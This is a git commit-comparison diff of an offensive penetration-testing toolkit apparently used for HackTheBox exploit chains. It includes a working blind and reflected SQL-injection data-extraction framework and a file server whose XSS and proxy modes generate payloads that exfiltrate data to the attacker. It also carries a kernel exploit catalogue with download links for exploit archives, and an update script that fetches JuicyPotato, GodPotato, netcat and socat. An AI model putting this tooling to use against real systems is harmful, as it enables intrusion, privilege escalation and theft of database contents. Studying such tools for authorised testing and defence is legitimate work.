Compare commits
No commits in common. "12007c84c1350b69bc9893cb409aeaf66e1e6134" and "0fac5c75b06ce46db8d387645034018a923509e0" have entirely different histories.
12007c84c1
...
0fac5c75b0
0
PetitPotam.py
Normal file → Executable file
0
PetitPotam.py
Normal file → Executable file
22
README.md
22
README.md
@ -7,16 +7,8 @@ I use this repository mostly for automated exploit chains. HackTheBox machines o
|
||||
|
||||
### Installation
|
||||
```bash
|
||||
PYTHON_DIR=$(python -c "import sys;print(sys.path[-1])")
|
||||
|
||||
# clone directly into python site-packages
|
||||
git clone https://git.romanh.de/Roman/HackingScripts.git $PYTHON_DIR/hackingscripts
|
||||
# or use a symlink
|
||||
git clone https://git.romanh.de/Roman/HackingScripts.git
|
||||
sudo ln -s $(pwd)/HackingScripts $PYTHON_DIR/hackingscripts
|
||||
|
||||
# Install requirements
|
||||
pip3 install -r $PYTHON_DIR/hackingscripts/requirements.txt
|
||||
git clone git@romanh.de:Roman/HackingScripts
|
||||
sudo ln -s HackingScripts $(python -c "import sys;print(sys.path[-1])")/hackingscripts
|
||||
```
|
||||
|
||||
### Enumeration: Initial Scans
|
||||
@ -38,7 +30,6 @@ Can be deployed on victim machines to scan the intranet.
|
||||
- pingscan.py: small python script, which can detect internal hosts via ping probes natively.
|
||||
Can be deployed on victim machines to scan the intranet.
|
||||
- [deepce.sh](https://github.com/stealthcopter/deepce): Docker Privilege Escalation (e.g. exposed socket)
|
||||
- [socat](https://github.com/3ndG4me/socat)
|
||||
|
||||
### Reverse Shell: Payloads
|
||||
- rev_shell.py: Generates a reverse shell command (e.g. netcat, python, ...)
|
||||
@ -61,7 +52,6 @@ Can be deployed on victim machines to scan the intranet.
|
||||
- pcap_file_extract.py: Lists and extracts files from http connections found in pcap files
|
||||
- find_git_commit.py: Compares a local repository (e.g. downloaded from a remote server) with another git repository to guess the commit hash. Useful to find used versions
|
||||
- TODO: smb
|
||||
- sqli.py: An sqlmap-like abstract class for automizing SQL-Injections (WIP)
|
||||
|
||||
### [Windows](win/)
|
||||
- nc.exe/nc64.exe: netcat standalone binary
|
||||
@ -73,10 +63,4 @@ Can be deployed on victim machines to scan the intranet.
|
||||
- [SharpHound.exe](https://github.com/BloodHoundAD/SharpHound3): BloodHound Ingestor
|
||||
- [windows-exploit-suggester.py](https://github.com/AonCyberLabs/Windows-Exploit-Suggester)
|
||||
- [aspx-reverse-shell.aspx](https://github.com/borjmz/aspx-reverse-shell)
|
||||
- [xp_cmdshell.py](https://github.com/0xalwayslucky/pentesting-tools) (thanks to [@alwayslucky](https://github.com/0xalwayslucky))
|
||||
- [PetitPotam.py](https://github.com/topotam/PetitPotam)
|
||||
- [socat.exe](https://github.com/3ndG4me/socat)
|
||||
- TODO: add all Potatoes
|
||||
|
||||
### Example API-Usage
|
||||
TODO: Add some example code or bash commands on how to use the custom libraries, e.g. fileserver, xss_handler, etc.
|
||||
- [xp_cmdshell.py](https://github.com/0xalwayslucky/pentesting-tools) (thanks to @alwayslucky)
|
||||
|
@ -5,10 +5,12 @@ from http.server import BaseHTTPRequestHandler, HTTPServer
|
||||
from urllib.parse import urlparse
|
||||
import threading
|
||||
import requests
|
||||
import sys
|
||||
import time
|
||||
import os
|
||||
import ssl
|
||||
import util
|
||||
import xss_handler
|
||||
|
||||
class FileServerRequestHandler(BaseHTTPRequestHandler):
|
||||
|
||||
@ -91,23 +93,14 @@ class FileServerRequestHandler(BaseHTTPRequestHandler):
|
||||
status_code = 200 if len(result) < 1 else result[0]
|
||||
data = b"" if len(result) < 2 else result[1]
|
||||
headers = { } if len(result) < 3 else result[2]
|
||||
elif isinstance(result, int):
|
||||
else:
|
||||
status_code = result
|
||||
data = b""
|
||||
headers = {}
|
||||
elif result is None:
|
||||
status_code = 201
|
||||
data = b""
|
||||
headers = {}
|
||||
else:
|
||||
status_code = 200
|
||||
data = data if type(data) in [bytes, bytearray] else str(data).encode()
|
||||
headers = {}
|
||||
|
||||
if path in self.server.dumpRequests:
|
||||
headers["Access-Control-Allow-Origin"] = "*"
|
||||
|
||||
headers["Connection"] = "Close"
|
||||
headers["Content-Length"] = len(util.nvl(data, b""))
|
||||
|
||||
if len(headers) == 0:
|
||||
@ -183,7 +176,7 @@ class HttpFileServer(HTTPServer):
|
||||
data = data.encode("UTF-8")
|
||||
|
||||
headers = {
|
||||
"Access-Control-Allow-Origin": "*"
|
||||
"Access-Control-Allow-Origin": "*",
|
||||
}
|
||||
|
||||
if mime_type:
|
||||
@ -282,6 +275,10 @@ class HttpFileServer(HTTPServer):
|
||||
self.listen_thread.join()
|
||||
|
||||
if __name__ == "__main__":
|
||||
if len(sys.argv) < 2 or sys.argv[1] not in ["shell","dump","proxy","xss"]:
|
||||
print("Usage: %s [shell,dump,proxy,xss]" % sys.argv[0])
|
||||
exit(1)
|
||||
|
||||
parser = argparse.ArgumentParser(description="Spawn a temporary http server")
|
||||
parser.add_argument(
|
||||
"action",
|
||||
@ -330,11 +327,8 @@ if __name__ == "__main__":
|
||||
file_server.forwardRequest("/proxy", url)
|
||||
print("Exfiltrate data using:", file_server.get_full_url("/proxy", ip_address))
|
||||
elif args.action == "xss":
|
||||
from xss_handler import generate_payload as generate_xss_payload
|
||||
payload_type = args.payload if args.payload else "img"
|
||||
xss = generate_xss_payload(payload_type, file_server.get_full_url("/exfiltrate", ip_address))
|
||||
file_server.addFile("/xss", xss)
|
||||
file_server.dumpRequest("/exfiltrate")
|
||||
xss = xss_handler.generatePayload(payload_type, ip_addr, args.port)
|
||||
print("Exfiltrate data using:")
|
||||
print(xss)
|
||||
|
||||
|
473
linpeas.sh
473
linpeas.sh
File diff suppressed because one or more lines are too long
@ -217,7 +217,7 @@ Reqs: pkg=linux-kernel,ver>=2.6.0,ver<=2.6.30
|
||||
Tags: ubuntu=9.04
|
||||
Rank: 1
|
||||
analysis-url: https://xorl.wordpress.com/2009/07/16/cve-2009-1895-linux-kernel-per_clear_on_setid-personality-bypass/
|
||||
src-url: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/9435.tgz
|
||||
src-url: https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/bin-sploits/9435.tgz
|
||||
exploit-db: 9435
|
||||
Comments: /proc/sys/vm/mmap_min_addr needs to equal 0 OR pulseaudio needs to be installed
|
||||
EOF
|
||||
@ -228,7 +228,7 @@ Name: ${txtgrn}[CVE-2009-2692,CVE-2009-1895]${txtrst} sock_sendpage2
|
||||
Reqs: pkg=linux-kernel,ver>=2.6.0,ver<=2.6.30
|
||||
Tags:
|
||||
Rank: 1
|
||||
src-url: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/9436.tgz
|
||||
src-url: https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/bin-sploits/9436.tgz
|
||||
exploit-db: 9436
|
||||
Comments: Works for systems with /proc/sys/vm/mmap_min_addr equal to 0
|
||||
EOF
|
||||
@ -239,7 +239,7 @@ Name: ${txtgrn}[CVE-2009-2692,CVE-2009-1895]${txtrst} sock_sendpage3
|
||||
Reqs: pkg=linux-kernel,ver>=2.6.0,ver<=2.6.30
|
||||
Tags:
|
||||
Rank: 1
|
||||
src-url: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/9641.tar.gz
|
||||
src-url: https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/bin-sploits/9641.tar.gz
|
||||
exploit-db: 9641
|
||||
Comments: /proc/sys/vm/mmap_min_addr needs to equal 0 OR pulseaudio needs to be installed
|
||||
EOF
|
||||
@ -260,7 +260,7 @@ Name: ${txtgrn}[CVE-2009-2698]${txtrst} the rebel (udp_sendmsg)
|
||||
Reqs: pkg=linux-kernel,ver>=2.6.1,ver<=2.6.19
|
||||
Tags: debian=4
|
||||
Rank: 1
|
||||
src-url: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/9574.tgz
|
||||
src-url: https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/bin-sploits/9574.tgz
|
||||
exploit-db: 9574
|
||||
analysis-url: https://blog.cr0.org/2009/08/cve-2009-2698-udpsendmsg-vulnerability.html
|
||||
author: spender
|
||||
@ -701,7 +701,7 @@ Name: ${txtgrn}[CVE-2016-4997]${txtrst} target_offset
|
||||
Reqs: pkg=linux-kernel,ver>=4.4.0,ver<=4.4.0,cmd:grep -qi ip_tables /proc/modules
|
||||
Tags: ubuntu=16.04{kernel:4.4.0-21-generic}
|
||||
Rank: 1
|
||||
src-url: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/40053.zip
|
||||
src-url: https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/bin-sploits/40053.zip
|
||||
Comments: ip_tables.ko needs to be loaded
|
||||
exploit-db: 40049
|
||||
author: Vitaly 'vnik' Nikolenko
|
||||
@ -714,7 +714,7 @@ Reqs: pkg=linux-kernel,ver>=4.4,ver<4.5.5,CONFIG_BPF_SYSCALL=y,sysctl:kernel.unp
|
||||
Tags: ubuntu=16.04{kernel:4.4.0-21-generic}
|
||||
Rank: 1
|
||||
analysis-url: https://bugs.chromium.org/p/project-zero/issues/detail?id=808
|
||||
src-url: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39772.zip
|
||||
src-url: https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/bin-sploits/39772.zip
|
||||
Comments: CONFIG_BPF_SYSCALL needs to be set && kernel.unprivileged_bpf_disabled != 1
|
||||
exploit-db: 40759
|
||||
author: Jann Horn
|
||||
@ -858,7 +858,7 @@ Reqs: pkg=linux-kernel,ver>=4.15,ver<=4.19.2,CONFIG_USER_NS=y,sysctl:kernel.unpr
|
||||
Tags: ubuntu=18.04{kernel:4.15.0-20-generic},fedora=28{kernel:4.16.3-301.fc28}
|
||||
Rank: 1
|
||||
analysis-url: https://bugs.chromium.org/p/project-zero/issues/detail?id=1712
|
||||
src-url: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/45886.zip
|
||||
src-url: https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/45886.zip
|
||||
exploit-db: 45886
|
||||
author: Jann Horn
|
||||
Comments: CONFIG_USER_NS needs to be enabled
|
||||
@ -871,7 +871,7 @@ Reqs: pkg=linux-kernel,ver>=4,ver<5.1.17,sysctl:kernel.yama.ptrace_scope==0,x86_
|
||||
Tags: ubuntu=16.04{kernel:4.15.0-*},ubuntu=18.04{kernel:4.15.0-*},debian=9{kernel:4.9.0-*},debian=10{kernel:4.19.0-*},fedora=30{kernel:5.0.9-*}
|
||||
Rank: 1
|
||||
analysis-url: https://bugs.chromium.org/p/project-zero/issues/detail?id=1903
|
||||
src-url: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/47133.zip
|
||||
src-url: https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/47133.zip
|
||||
ext-url: https://raw.githubusercontent.com/bcoles/kernel-exploits/master/CVE-2019-13272/poc.c
|
||||
Comments: Requires an active PolKit agent.
|
||||
exploit-db: 47133
|
||||
@ -1066,7 +1066,7 @@ Reqs: pkg=glibc|libc6,x86
|
||||
Tags: debian=6
|
||||
Rank: 1
|
||||
analysis-url: http://googleprojectzero.blogspot.com/2014/08/the-poisoned-nul-byte-2014-edition.html
|
||||
src-url: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/34421.tar.gz
|
||||
src-url: https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/bin-sploits/34421.tar.gz
|
||||
exploit-db: 34421
|
||||
EOF
|
||||
)
|
||||
@ -1284,7 +1284,7 @@ Reqs: pkg=ntfs-3g,ver<2017.4
|
||||
Tags: ubuntu=16.04{ntfs-3g:2015.3.14AR.1-1build1},debian=7.0{ntfs-3g:2012.1.15AR.5-2.1+deb7u2},debian=8.0{ntfs-3g:2014.2.15AR.2-1+deb8u2}
|
||||
Rank: 1
|
||||
analysis-url: https://bugs.chromium.org/p/project-zero/issues/detail?id=1072
|
||||
src-url: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/41356.zip
|
||||
src-url: https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/bin-sploits/41356.zip
|
||||
exploit-db: 41356
|
||||
author: Jann Horn
|
||||
Comments: Distros use own versioning scheme. Manual verification needed. Linux headers must be installed. System must have at least two CPU cores.
|
||||
|
@ -532,8 +532,8 @@ if __name__ == "__main__":
|
||||
|
||||
parser = argparse.ArgumentParser(description="Reverse shell generator")
|
||||
parser.add_argument(dest="type", type=str, default=None, help="Payload type")
|
||||
parser.add_argument("-p", "--port", type=int, required=False, default=None, help="Listening port")
|
||||
parser.add_argument("-a", "--addr", type=str, required=False, default=util.get_address(), help="Listening address")
|
||||
parser.add_argument("--port", type=int, required=False, default=None, help="Listening port")
|
||||
parser.add_argument("--addr", type=str, required=False, default=util.get_address(), help="Listening address")
|
||||
args, extra = parser.parse_known_args()
|
||||
|
||||
listen_port = args.port
|
||||
|
BIN
socat
BIN
socat
Binary file not shown.
BIN
socat64
BIN
socat64
Binary file not shown.
275
sqli.py
275
sqli.py
@ -2,6 +2,8 @@ from abc import ABC, abstractmethod
|
||||
import sys
|
||||
import string
|
||||
|
||||
# TODO: add blind/reflected option
|
||||
# TODO: binary search instead of bruteforce
|
||||
class SQLi(ABC):
|
||||
|
||||
@staticmethod
|
||||
@ -11,6 +13,37 @@ class SQLi(ABC):
|
||||
table = "" if not table else f" FROM {table}"
|
||||
return f"SELECT {column}{table}{condition} LIMIT 1{offset}"
|
||||
|
||||
def extract_int(self, column: str, table=None, condition=None, offset=None, verbose=False, binary_search=True):
|
||||
|
||||
query = self.build_query(column, table, condition, offset)
|
||||
|
||||
if self.blind_sqli(f"({query})=0"):
|
||||
return 0
|
||||
|
||||
if not binary_search:
|
||||
cur_int = 1
|
||||
while self.blind_sqli(f"({query})>{cur_int}"):
|
||||
cur_int += 1
|
||||
|
||||
return cur_int
|
||||
else:
|
||||
min_value = 1
|
||||
max_value = 1
|
||||
|
||||
while self.blind_sqli(f"({query})>{max_value}"):
|
||||
min_value = max_value + 1
|
||||
max_value = max_value * 2
|
||||
|
||||
max_value = max_value - 1
|
||||
while True:
|
||||
cur_int = (min_value + max_value) // 2
|
||||
if self.blind_sqli(f"({query})>{cur_int}"):
|
||||
min_value = cur_int + 1
|
||||
elif self.blind_sqli(f"({query})<{cur_int}"):
|
||||
max_value = cur_int - 1
|
||||
else:
|
||||
return cur_int
|
||||
|
||||
def extract_multiple_ints(self, column: str, table=None, condition=None, verbose=False):
|
||||
row_count = self.extract_int(f"COUNT({column})", table=table, condition=condition, verbose=verbose)
|
||||
if verbose:
|
||||
@ -22,30 +55,44 @@ class SQLi(ABC):
|
||||
|
||||
return rows
|
||||
|
||||
def extract_multiple_strings(self, column: str, table=None, condition=None, verbose=False):
|
||||
def extract_string(self, column: str, table=None, condition=None, offset=None, max_length=None, verbose=False, charset=string.printable):
|
||||
|
||||
if max_length is None:
|
||||
max_length = self.extract_int(f"LENGTH({column})", table, condition, offset, verbose=verbose)
|
||||
if verbose:
|
||||
print("Fetched length:", max_length)
|
||||
|
||||
cur_str = ""
|
||||
while True:
|
||||
found = False
|
||||
query = self.build_query(f"ascii(substr({column},{len(cur_str) + 1},1))", table, condition, offset)
|
||||
for c in charset:
|
||||
if self.blind_sqli(f"({query})={ord(c)}"):
|
||||
found = True
|
||||
cur_str += c
|
||||
if verbose:
|
||||
sys.stdout.write(c)
|
||||
sys.stdout.flush()
|
||||
break
|
||||
if not found or (max_length is not None and len(cur_str) >= max_length):
|
||||
break
|
||||
|
||||
if verbose:
|
||||
print()
|
||||
|
||||
return cur_str
|
||||
|
||||
def extract_multiple_strings(self, column: str, table=None, condition=None, verbose=False, charset=string.printable):
|
||||
row_count = self.extract_int(f"COUNT({column})", table=table, condition=condition, verbose=verbose)
|
||||
if verbose:
|
||||
print(f"Fetching {row_count} rows")
|
||||
|
||||
rows = []
|
||||
for i in range(0, row_count):
|
||||
rows.append(self.extract_string(column, table, condition, i, verbose=verbose))
|
||||
rows.append(self.extract_string(column, table, condition, i, verbose=verbose, charset=charset))
|
||||
|
||||
return rows
|
||||
|
||||
@abstractmethod
|
||||
def ascii(self):
|
||||
pass
|
||||
|
||||
@abstractmethod
|
||||
def extract_int(self, column: str, table=None, condition=None,
|
||||
offset=None, verbose=False):
|
||||
pass
|
||||
|
||||
@abstractmethod
|
||||
def extract_string(self, column: str, table=None, condition=None, offset=None, verbose=False):
|
||||
pass
|
||||
|
||||
@abstractmethod
|
||||
def get_database_version(self, verbose=False):
|
||||
pass
|
||||
@ -58,6 +105,10 @@ class SQLi(ABC):
|
||||
def get_current_database(self, verbose=False):
|
||||
pass
|
||||
|
||||
@abstractmethod
|
||||
def blind_sqli(self, condition: str, verbose=False) -> bool:
|
||||
pass
|
||||
|
||||
@abstractmethod
|
||||
def get_table_names(self, schema: str, verbose=False):
|
||||
pass
|
||||
@ -66,173 +117,6 @@ class SQLi(ABC):
|
||||
def get_column_names(self, table: str, schema: str, verbose=False):
|
||||
pass
|
||||
|
||||
class ReflectedSQLi(SQLi, ABC):
|
||||
|
||||
def __init__(self, column_types: list):
|
||||
self.column_types = column_types
|
||||
|
||||
@abstractmethod
|
||||
def reflected_sqli(self, columns: list, table=None, condition=None, offset=None, verbose=False):
|
||||
pass
|
||||
|
||||
def extract_int(self, column: str, table=None, condition=None, offset=None, verbose=False):
|
||||
query_columns = [column] + list(map(str, range(2, len(self.column_types) + 1)))
|
||||
return int(self.reflected_sqli(query_columns, table, condition, offset)[0])
|
||||
|
||||
def extract_string(self, column: str, table=None, condition=None, offset=None, verbose=False):
|
||||
if str not in self.column_types:
|
||||
print("[!] Reflectd SQL does not reflect string types, only:", self.column_types)
|
||||
return None
|
||||
|
||||
str_column = self.column_types.index(str)
|
||||
query_columns = list(map(lambda c: f"'{c}'", range(len(self.column_types))))
|
||||
query_columns[str_column] = column
|
||||
return self.reflected_sqli(query_columns, table, condition, offset)[str_column]
|
||||
|
||||
def extract_multiple_ints(self, columns: list|str, table=None, condition=None, verbose=False):
|
||||
one = False
|
||||
if isinstance(columns, str):
|
||||
columns = [columns]
|
||||
one = True
|
||||
|
||||
column_count = len(columns)
|
||||
if len(self.column_types) < column_count:
|
||||
print(f"[!] Reflectd SQL does not reflect required amount of columns. required={column_count}, got={len(self.column_types)}")
|
||||
return None
|
||||
|
||||
query_columns = columns + list(map(str, range(column_count + 1, len(self.column_types) + 1)))
|
||||
row_count = self.extract_int(f"COUNT(*)", table=table, condition=condition, verbose=verbose)
|
||||
if verbose:
|
||||
print(f"Fetching {row_count} rows")
|
||||
|
||||
rows = []
|
||||
column_str = ",".join(query_columns)
|
||||
for i in range(0, row_count):
|
||||
row = self.reflected_sqli(query_columns, table, condition, i, verbose=verbose)
|
||||
if one:
|
||||
rows.append(int(row[0]))
|
||||
else:
|
||||
rows.append(list(map(lambda i: int(row[i]), range(column_count))))
|
||||
|
||||
return rows
|
||||
|
||||
def extract_multiple_strings(self, columns: list|str, table=None, condition=None, verbose=False):
|
||||
one = False
|
||||
if isinstance(columns, str):
|
||||
columns = [columns]
|
||||
one = True
|
||||
|
||||
column_count = len(columns)
|
||||
if self.column_types.count(str) < column_count:
|
||||
print(f"[!] Reflectd SQL does not reflect required amount of string columns. required={column_count}, got={self.column_types.count(str)}")
|
||||
return None
|
||||
|
||||
query_columns = list(map(str, range(1, len(self.column_types) + 1)))
|
||||
offsets = list(None for _ in range(column_count))
|
||||
offset = 0
|
||||
for i, column in enumerate(columns):
|
||||
while self.column_types[offset] != str:
|
||||
offset += 1
|
||||
offsets[i] = offset
|
||||
query_columns[offset] = column
|
||||
offset += 1
|
||||
|
||||
row_count = self.extract_int(f"COUNT(*)", table=table, condition=condition, verbose=verbose)
|
||||
if verbose:
|
||||
print(f"Fetching {row_count} rows")
|
||||
|
||||
rows = []
|
||||
column_str = ",".join(query_columns)
|
||||
for i in range(0, row_count):
|
||||
row = self.reflected_sqli(query_columns, table, condition, i, verbose=verbose)
|
||||
if one:
|
||||
rows.append(row[offsets[0]])
|
||||
else:
|
||||
rows.append(list(map(lambda o: row[o], offsets)))
|
||||
|
||||
return rows
|
||||
|
||||
# todo: extract_multiple with columns as dict (name -> type), e.g. extract_multiple({"id": int, "name": str})
|
||||
|
||||
class BlindSQLi(SQLi, ABC):
|
||||
|
||||
@abstractmethod
|
||||
def blind_sqli(self, condition: str, verbose=False) -> bool:
|
||||
pass
|
||||
|
||||
def extract_int(self, column: str, table=None, condition=None,
|
||||
offset=None, verbose=False, binary_search=True,
|
||||
min_value=None, max_value=None):
|
||||
|
||||
query = self.build_query(column, table, condition, offset)
|
||||
|
||||
if self.blind_sqli(f"({query})=0"):
|
||||
return 0
|
||||
|
||||
if not binary_search:
|
||||
cur_int = 1 if min_value is None else min_value
|
||||
while self.blind_sqli(f"({query})>{cur_int}", verbose):
|
||||
cur_int += 1
|
||||
if max_value is not None and cur_int >= max_value:
|
||||
return None
|
||||
|
||||
return cur_int
|
||||
else:
|
||||
if min_value is None or max_value is None:
|
||||
min_value = 1 if min_value is None else min_value
|
||||
max_value = 1 if max_value is None else max_value
|
||||
|
||||
while self.blind_sqli(f"({query})>{max_value}", verbose):
|
||||
min_value = max_value + 1
|
||||
max_value = max_value * 2
|
||||
|
||||
while True:
|
||||
cur_int = (min_value + max_value) // 2
|
||||
if self.blind_sqli(f"({query})>{cur_int}", verbose):
|
||||
min_value = cur_int + 1
|
||||
elif self.blind_sqli(f"({query})<{cur_int}", verbose):
|
||||
max_value = cur_int - 1
|
||||
else:
|
||||
return cur_int
|
||||
|
||||
def extract_string(self, column: str, table=None, condition=None, offset=None, verbose=False, max_length=None, charset=string.printable):
|
||||
|
||||
if max_length is None:
|
||||
max_length = self.extract_int(f"LENGTH({column})", table, condition, offset, verbose=verbose)
|
||||
if verbose:
|
||||
print("Fetched length:", max_length)
|
||||
|
||||
cur_str = ""
|
||||
while True:
|
||||
found = False
|
||||
cur_column = self.ascii() + f"(substr({column},{len(cur_str) + 1},1))"
|
||||
if charset:
|
||||
query = self.build_query(cur_column, table, condition, offset)
|
||||
for c in charset:
|
||||
if self.blind_sqli(f"({query})={ord(c)}"):
|
||||
found = True
|
||||
cur_str += c
|
||||
if verbose:
|
||||
sys.stdout.write(c)
|
||||
sys.stdout.flush()
|
||||
break
|
||||
else:
|
||||
c = self.extract_int(cur_column, table, condition, min_value=0, max_value=127)
|
||||
if c is not None:
|
||||
found = True
|
||||
cur_str += chr(c)
|
||||
if verbose:
|
||||
sys.stdout.write(chr(c))
|
||||
sys.stdout.flush()
|
||||
|
||||
if not found or (max_length is not None and len(cur_str) >= max_length):
|
||||
break
|
||||
|
||||
if verbose:
|
||||
print()
|
||||
|
||||
return cur_str
|
||||
|
||||
|
||||
class PostgreSQLi(SQLi, ABC):
|
||||
def get_database_version(self, verbose=False):
|
||||
@ -253,8 +137,6 @@ class PostgreSQLi(SQLi, ABC):
|
||||
f"table_schema='{schema}' AND table_name='{table}'",
|
||||
verbose=verbose)
|
||||
|
||||
def ascii(self):
|
||||
return "ascii"
|
||||
|
||||
class MySQLi(SQLi, ABC):
|
||||
def get_database_version(self, verbose=False):
|
||||
@ -274,28 +156,3 @@ class MySQLi(SQLi, ABC):
|
||||
return self.extract_multiple_strings("column_name", "information_schema.columns",
|
||||
f"table_schema='{schema}' AND table_name='{table}'",
|
||||
verbose=verbose)
|
||||
|
||||
def ascii(self):
|
||||
return "ascii"
|
||||
|
||||
|
||||
class SQLitei(SQLi, ABC):
|
||||
def get_database_version(self, verbose=False):
|
||||
return self.extract_string("sqlite_version()", verbose=verbose)
|
||||
|
||||
def get_current_user(self, verbose=False):
|
||||
raise Exception("Not implemented!")
|
||||
|
||||
def get_current_database(self, verbose=False):
|
||||
raise Exception("Not implemented!")
|
||||
|
||||
def get_table_names(self, verbose=False):
|
||||
return self.extract_multiple_strings("name", "sqlite_schema", f"type='table'",
|
||||
verbose=verbose)
|
||||
|
||||
def get_column_names(self, table: str, schema: str, verbose=False):
|
||||
# TODO: we could query the "sql" column and parse it using regex
|
||||
raise Exception("Not implemented!")
|
||||
|
||||
def ascii(self):
|
||||
return "unicode"
|
||||
|
@ -86,10 +86,8 @@ if __name__ == "__main__":
|
||||
variables = "\n".join(f"{k} = {v}" for k, v in variables.items())
|
||||
header = f"""#!/usr/bin/env python
|
||||
|
||||
#
|
||||
# THE BASE OF THIS FILE WAS AUTOMATICALLY GENERATED BY {' '.join(sys.argv)}
|
||||
# For more information, visit: https://git.romanh.de/Roman/HackingScripts
|
||||
#
|
||||
# THE BASE OF THIS FILE WAS AUTOMATICALLY GENERATED BY template.py, for more information, visit
|
||||
# https://git.romanh.de/Roman/HackingScripts
|
||||
|
||||
import os
|
||||
import io
|
||||
@ -104,7 +102,6 @@ import urllib.parse
|
||||
from bs4 import BeautifulSoup
|
||||
from hackingscripts import util, rev_shell
|
||||
from hackingscripts.fileserver import HttpFileServer
|
||||
from hackingscripts.sqli import MySQLi, PostgreSQLi, BlindSQLi, ReflectedSQLi
|
||||
from urllib3.exceptions import InsecureRequestWarning
|
||||
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)
|
||||
|
||||
|
38
update.sh
38
update.sh
@ -50,7 +50,6 @@ download https://github.com/rebootuser/LinEnum/raw/master/LinEnum.sh LinEnum.sh
|
||||
download https://github.com/stealthcopter/deepce/raw/main/deepce.sh deepce.sh
|
||||
download https://raw.githubusercontent.com/topotam/PetitPotam/main/PetitPotam.py PetitPotam.py
|
||||
|
||||
echo ""
|
||||
echo "Updating LinPEAS + WinPEAS…"
|
||||
peas_version=$(get_latest_version carlospolop/PEASS-ng)
|
||||
if [ ! -z "$peas_version" ]; then
|
||||
@ -63,20 +62,7 @@ else
|
||||
echo "Unable to determine latest PEAS version"
|
||||
fi
|
||||
|
||||
# TODO: add others
|
||||
echo ""
|
||||
echo "Updating windows tools…"
|
||||
download https://live.sysinternals.com/accesschk.exe win/accesschk.exe
|
||||
download https://live.sysinternals.com/accesschk64.exe win/accesschk64.exe
|
||||
download https://github.com/int0x33/nc.exe/raw/master/nc.exe win/nc.exe
|
||||
download https://github.com/int0x33/nc.exe/raw/master/nc64.exe win/nc64.exe
|
||||
download https://github.com/k4sth4/Juicy-Potato/raw/main/x86/jp32.exe win/JuicyPotato.exe
|
||||
download https://github.com/k4sth4/Juicy-Potato/raw/main/x64/jp.exe win/JuicyPotato64.exe
|
||||
download https://github.com/uknowsec/SweetPotato/raw/master/SweetPotato-Webshell-new/bin/Release/SweetPotato.exe win/SweetPotato.exe
|
||||
download https://github.com/BeichenDream/GodPotato/releases/latest/download/GodPotato-NET4.exe win/GodPotato.exe
|
||||
download https://raw.githubusercontent.com/topotam/PetitPotam/main/PetitPotam.py win/PetitPotam.py
|
||||
|
||||
echo ""
|
||||
echo "Updating Chisel…"
|
||||
chisel_version=$(get_latest_version jpillora/chisel v)
|
||||
if [ ! -z "$chisel_version" ]; then
|
||||
echo "Got Chisel version: $chisel_version"
|
||||
@ -88,17 +74,19 @@ else
|
||||
echo "Unable to determine latest chisel version"
|
||||
fi
|
||||
|
||||
# TODO: add others
|
||||
echo "Updating windows tools…"
|
||||
download https://live.sysinternals.com/accesschk.exe win/accesschk.exe
|
||||
download https://live.sysinternals.com/accesschk64.exe win/accesschk64.exe
|
||||
download https://github.com/int0x33/nc.exe/raw/master/nc.exe win/nc.exe
|
||||
download https://github.com/int0x33/nc.exe/raw/master/nc64.exe win/nc64.exe
|
||||
download https://github.com/k4sth4/Juicy-Potato/raw/main/x86/jp32.exe win/JuicyPotato.exe
|
||||
download https://github.com/k4sth4/Juicy-Potato/raw/main/x64/jp.exe win/JuicyPotato64.exe
|
||||
download https://github.com/uknowsec/SweetPotato/raw/master/SweetPotato-Webshell-new/bin/Release/SweetPotato.exe win/SweetPotato.exe
|
||||
download https://github.com/BeichenDream/GodPotato/releases/latest/download/GodPotato-NET4.exe win/GodPotato.exe
|
||||
|
||||
sharphound_version=$(get_latest_version BloodHoundAD/SharpHound v)
|
||||
if [ ! -z "$sharphound_version" ]; then
|
||||
echo "Got Sharphound version: $sharphound_version"
|
||||
echo "Got Chisel version: $sharphound_version"
|
||||
download_zip https://github.com/BloodHoundAD/SharpHound/releases/download/v${sharphound_version}/SharpHound-v${sharphound_version}.zip win/ SharpHound.exe SharpHound.ps1
|
||||
fi
|
||||
|
||||
socat_version=$(get_latest_version "3ndG4me/socat" v)
|
||||
if [ ! -z "$socat_version" ]; then
|
||||
echo "Got socat version: $socat_version"
|
||||
download https://github.com/3ndG4me/socat/releases/download/v${socat_version}/socatx86.bin socat
|
||||
download https://github.com/3ndG4me/socat/releases/download/v${socat_version}/socatx64.bin socat64
|
||||
download https://github.com/3ndG4me/socat/releases/download/v${socat_version}/socatx86.exe win/socat.exe
|
||||
download https://github.com/3ndG4me/socat/releases/download/v${socat_version}/socatx64.exe win/socat64.exe
|
||||
fi
|
@ -1,461 +0,0 @@
|
||||
#!/usr/bin/env python
|
||||
#
|
||||
# Author: GILLES Lionel aka topotam (@topotam77)
|
||||
#
|
||||
# Greetz : grenadine(@Greynardine), skar(@__skar), didakt(@inf0sec1), plissken, pixis(@HackAndDo) my friends!
|
||||
# "Most of" the code stolen from dementor.py from @3xocyte ;)
|
||||
|
||||
|
||||
import sys
|
||||
import argparse
|
||||
|
||||
from impacket import system_errors
|
||||
from impacket.dcerpc.v5 import transport
|
||||
from impacket.dcerpc.v5.ndr import NDRCALL, NDRSTRUCT
|
||||
